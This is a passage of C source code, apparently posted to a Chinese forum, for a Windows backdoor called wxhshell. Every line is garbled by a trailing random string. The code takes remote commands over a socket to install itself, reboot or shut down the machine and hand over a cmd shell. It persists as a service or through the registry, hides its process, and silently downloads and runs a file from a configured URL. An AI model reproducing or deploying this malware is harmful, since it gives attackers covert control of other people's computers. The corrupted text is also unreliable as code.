  case '?': { 8^2E77s4U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dZIruZ)x  
    break; g3Z"ri~!G  
  } NS3qNj  
  // 安装 1kdQh&~G  
  case 'i': { <#%kmYSL  
    if(Install()) 4E 0 Y=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l37) Q  
    else 5kdh!qy[$,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I\WBPI  
    break; tuIQiWHbM  
    } <#>{7" }  
  // 卸载 %Xjg/5G-  
  case 'r': { Jnl#d0) -  
    if(Uninstall()) `Dp_c&9]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y??^[ sB  
    else ^"!)p2=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;9"6g=q  
    break; Cj1nll8c  
    } DR c-L$bD  
  // 显示 wxhshell 所在路径 }F=lG-x  
  case 'p': { ,%4~ulKMn  
    char svExeFile[MAX_PATH]; W)p?cK`  
    strcpy(svExeFile,"\n\r"); <4,LTB]9-  
      strcat(svExeFile,ExeFile); g7@.Fa.u'!  
        send(wsh,svExeFile,strlen(svExeFile),0); gl>%ADOB@  
    break; ;{:bq`56f  
    } 7rSads  
  // 重启 6 ~.{~+Bd  
  case 'b': { B82SAV/O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >4iVVs  
    if(Boot(REBOOT)) 9~ r YLR(v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8L _]_  
    else { M%"{OHj!o  
    closesocket(wsh); ipH'}~=ID  
    ExitThread(0); K!jMW  
    } )7;E,m<:tO  
    break; gq~6 jf>  
    } 7I;A5f  
  // 关机 eccJt  
  case 'd': { ,f)#&}x*2+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @0&KM|+  
    if(Boot(SHUTDOWN)) Ro :)N:C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vH)V\V  
    else { `Ti?hQm/  
    closesocket(wsh); ujan2'YT  
    ExitThread(0); =QJI_veUG`  
    } /?_5!3KJ  
    break; bv9nDNPD4  
    } Gm.2!F=R4A  
  // 获取shell }y&tF'qG  
  case 's': { 4B$|UG  
    CmdShell(wsh); } 3JOC!;;  
    closesocket(wsh); bW?cb5C  
    ExitThread(0); &E0L 2gbI  
    break; Q1^kU0M}  
  } %Gc)$z/Wd  
  // 退出 Xn # v!  
  case 'x': { Z>(K|3_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j7sRmQCl  
    CloseIt(wsh); UtYwG#/w  
    break; U C..)9  
    } 7 DW_G  
  // 离开 TS49{^d$  
  case 'q': { H tAO9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "[`/J?W  
    closesocket(wsh); 2!Sl!x+i\'  
    WSACleanup(); o%)38T*n3  
    exit(1); b<\aJb{2  
    break; +(/' b' *  
        } N"-U)d-.  
  } K6G+sBw[  
  } Qa@] sWcM  
m ^ '!  
  // 提示信息 B*&HQW *u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ihBIE  
} A?4s+A@Eg  
  } 1;"DIsz@d  
zY2o;-d|4  
  return; cg).b?g  
} f`bRg8v  
4H_QQ6  
// shell模块句柄 e=sV>z>  
int CmdShell(SOCKET sock) Yc2dq e>  
{ 0}qnq"  
STARTUPINFO si; Jm[_X  
ZeroMemory(&si,sizeof(si)); +V9<ug6 T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PS'SIX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1g>>{ y  
PROCESS_INFORMATION ProcessInfo; ?cKe~Q?3  
char cmdline[]="cmd"; m,^UD{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X-j3=8wPM  
  return 0; q"$C)o  
} xM2UwTpW  
+~\1g^h  
// 自身启动模式 G6q*U,  
int StartFromService(void) f(E[jwy  
{ &@fW6},iW  
typedef struct l dw!G/  
{ W,bu=2K6  
  DWORD ExitStatus; bTc^ huP  
  DWORD PebBaseAddress; MwTouEGGgA  
  DWORD AffinityMask; P]<15l  
  DWORD BasePriority; DT[WO_=  
  ULONG UniqueProcessId; o|Kd\<rY  
  ULONG InheritedFromUniqueProcessId; bu,xIT^  
}   PROCESS_BASIC_INFORMATION; a+,zXJQYq  
:b"&Rc&s.  
PROCNTQSIP NtQueryInformationProcess; Hh`HMa'q  
\W+Hzf] W#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :@#6]W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "9O8#i<Nr  
>gf,8flgj  
  HANDLE             hProcess; P0ZY;/e5h  
  PROCESS_BASIC_INFORMATION pbi; DSL3+%KF#  
q$7/X;A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pIl[)%F  
  if(NULL == hInst ) return 0; ]6@6g>f?  
a3c43!J?M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \e' oAhM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8/ zv3.+[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uc( z|  
sOhKMz  
  if (!NtQueryInformationProcess) return 0; Y{g[LG`U  
J!d=aGY0-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9T%b#~?3P  
  if(!hProcess) return 0; ",P?jgs^g5  
H?wf%0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EqF>=5*  
h.4FY<  
  CloseHandle(hProcess); c!]Q0ib6  
g>;"Fymc'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mk8k,"RG&Z  
if(hProcess==NULL) return 0; 9\!=i  
Rh%C$d(  
HMODULE hMod; Sv t%*j  
char procName[255]; Z.,pcnaQb  
unsigned long cbNeeded; !dOpLUh l  
C=x70Y/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k|3hs('y|  
cQrXrij;!  
  CloseHandle(hProcess); GsU.Lkf  
bwe)_<c  
if(strstr(procName,"services")) return 1; // 以服务启动 9v?rNJs  
}#phNn6  
  return 0; // 注册表启动 R#4f_9e<Z  
} Mw|lEctN0  
hp$1c  
// 主模块 p Cgm!t?/  
int StartWxhshell(LPSTR lpCmdLine) 0y3C />a  
{ DqA$%b yyE  
  SOCKET wsl; FYIz_GTk  
BOOL val=TRUE; (g0U v.*  
  int port=0; *r|Zbxf(  
  struct sockaddr_in door; [BKOK7QK|  
K)GpQ|4:<  
  if(wscfg.ws_autoins) Install(); R{UZCFZ  
Zx^R-9  
port=atoi(lpCmdLine); gdkHaLL"  
A@jBn6  
if(port<=0) port=wscfg.ws_port; #@m6ag.  
&"d :+!4h  
  WSADATA data; vDCbD#.6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JfRqOEP4Y  
ufo\p=pGG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &Xi] 0\M)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lm|s%  
  door.sin_family = AF_INET; m'WGK`WIm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BFZ\\rN`  
  door.sin_port = htons(port); ?I"FmJ;  
?KG4Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~(]'ah,  
closesocket(wsl); Au"BDP  
return 1; TGuCIc0B{  
} t(1gJZs>kX  
T'a&  
  if(listen(wsl,2) == INVALID_SOCKET) { `a5,5}7v%`  
closesocket(wsl); A`1-c   
return 1; _7<G6q2(  
} 3{M0iNc1  
  Wxhshell(wsl); Lw`}o`D  
  WSACleanup(); uTvf[%EHW  
_mTNK^gB  
return 0; `2`h4[^ [X  
# blh9.V&F  
} pV*d"~T  
@ 1FWBH~  
// 以NT服务方式启动 jQ['f\R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ nLd>2P  
{ `KUL 4) g~  
DWORD   status = 0; g ,yB^^%  
  DWORD   specificError = 0xfffffff; GW2v&Ul7(  
K~+x@O*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A>6_h1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Awe'MGp%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x\pygzQ/  
  serviceStatus.dwWin32ExitCode     = 0; ]F #0to  
  serviceStatus.dwServiceSpecificExitCode = 0; f{U,kCv  
  serviceStatus.dwCheckPoint       = 0; ?f*>=;7=  
  serviceStatus.dwWaitHint       = 0; j-v/;7s/B  
Sg1 ,9[pb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m}t`43}QE  
  if (hServiceStatusHandle==0) return; rEoOv  
0yxwsBLy  
status = GetLastError(); @B9#Hrc  
  if (status!=NO_ERROR) w:2yFC  
{ ]W7&ZpF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Si68_]:^  
    serviceStatus.dwCheckPoint       = 0; n/^QPR$>.  
    serviceStatus.dwWaitHint       = 0; }[OEtd{  
    serviceStatus.dwWin32ExitCode     = status; 40$9./fe)  
    serviceStatus.dwServiceSpecificExitCode = specificError; S*%:ID|/C2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rd^j<  
    return; gF\ac%9  
  } 9#a/at]  
$x2G/5?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mxICQ>s b  
  serviceStatus.dwCheckPoint       = 0; 1-PFM-  
  serviceStatus.dwWaitHint       = 0; W=4|ahk$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lbu,VX  
} %:y"o_X_  
d.k'\1o  
// 处理NT服务事件,比如:启动、停止 &Q t1~#1  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  /UtSZ(  
{ ]0g1P-&,U  
switch(fdwControl) N@8tf@BT   
{ ^9XAWj"  
case SERVICE_CONTROL_STOP: 2ZKy7p0/  
  serviceStatus.dwWin32ExitCode = 0; :-~x~ah-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KJ_L>$ ]*  
  serviceStatus.dwCheckPoint   = 0; 9g7Ok9dF  
  serviceStatus.dwWaitHint     = 0; 8KWhXF  
  { |`Be(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qG0gc\C}  
  } c3Zwp%  
  return; i|fkwV,5  
case SERVICE_CONTROL_PAUSE: >HRLL\u9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;V^I>-fnm  
  break; C3b<Wa])  
case SERVICE_CONTROL_CONTINUE: 29NP!W /g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hr/J6kyB)  
  break; Z$S0X $q}  
case SERVICE_CONTROL_INTERROGATE: B|SX?X  
  break; .&/A!3pW  
}; xt8@l [Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9\i^.2&  
}  9 'IDbe{  
^@]yiED{g  
// 标准应用程序主函数 #Q%0y^s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~AR0 ,lak  
{ Q#Xa]A-  
94.M 8  
// 获取操作系统版本 z_a7HCG2  
OsIsNt=GetOsVer(); i>;6Z s>S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C12y_E8Un  
Hzc^fC  
  // 从命令行安装 jxnb<!|?H@  
  if(strpbrk(lpCmdLine,"iI")) Install(); r8!M8Sc  
/P*ph0S-  
  // 下载执行文件 #M92=IH  
if(wscfg.ws_downexe) { 2hT H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >IHf5})R  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0!`!I0  
} eb<' >a  
g= s2t"&  
if(!OsIsNt) { !}HT&N8[r  
// 如果时win9x,隐藏进程并且设置为注册表启动 e3kdIOu5  
HideProc(); IE&G7\>(yO  
StartWxhshell(lpCmdLine); [q!)Y:|u_>  
} IF3V5Q  
else _x?S0R1  
  if(StartFromService()) m\ /V0V\  
  // 以服务方式启动 \>4x7mF!  
  StartServiceCtrlDispatcher(DispatchTable); WI54xu1M  
else *JVJKqed  
  // 普通方式启动 :#UN^"(m}  
  StartWxhshell(lpCmdLine); q|e<b  
qFjnuQ,w  
return 0; 92L{be; SY  
}
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只看该作者 1 发表于: 2006-10-10
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